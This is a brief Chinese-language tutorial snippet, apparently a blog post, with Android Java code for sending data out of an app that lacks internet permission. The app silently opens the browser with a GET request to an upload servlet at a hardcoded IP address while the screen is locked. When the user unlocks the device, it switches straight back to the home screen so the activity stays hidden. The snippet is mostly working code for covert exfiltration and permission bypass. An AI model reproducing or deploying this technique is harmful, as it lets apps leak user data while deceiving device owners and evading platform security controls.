虽然没有权限,但是也可以通过浏览器用Get
方式来传递自己的数据,由于这样会打开浏览器,为了防止让用户看到,
所以我们可以再用户锁屏之后开始传递数据,而在用户一解除锁屏我们就回到桌面,这里用KeyguardManager
来实现,
即在锁屏的时候键盘不能用,而一旦键盘能用了我们就立马回到桌面.
public void onCreate() {
timer = new Timer();
km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
random = new Random();
task = new TimerTask() {
@Override
public void run() {
if (km.inKeyguardRestrictedInputMode()) {
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
intent.setData(Uri
.parse("http://192.168.1.254:8080/web/UploadServlet?info="
+ random.nextInt()));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}else{
//回桌面.
Intent intent = new Intent();
intent.setAction("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.addCategory("android.intent.category.MONKEY");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
};
timer.schedule(task, 1000, 2000);
super.onCreate();
}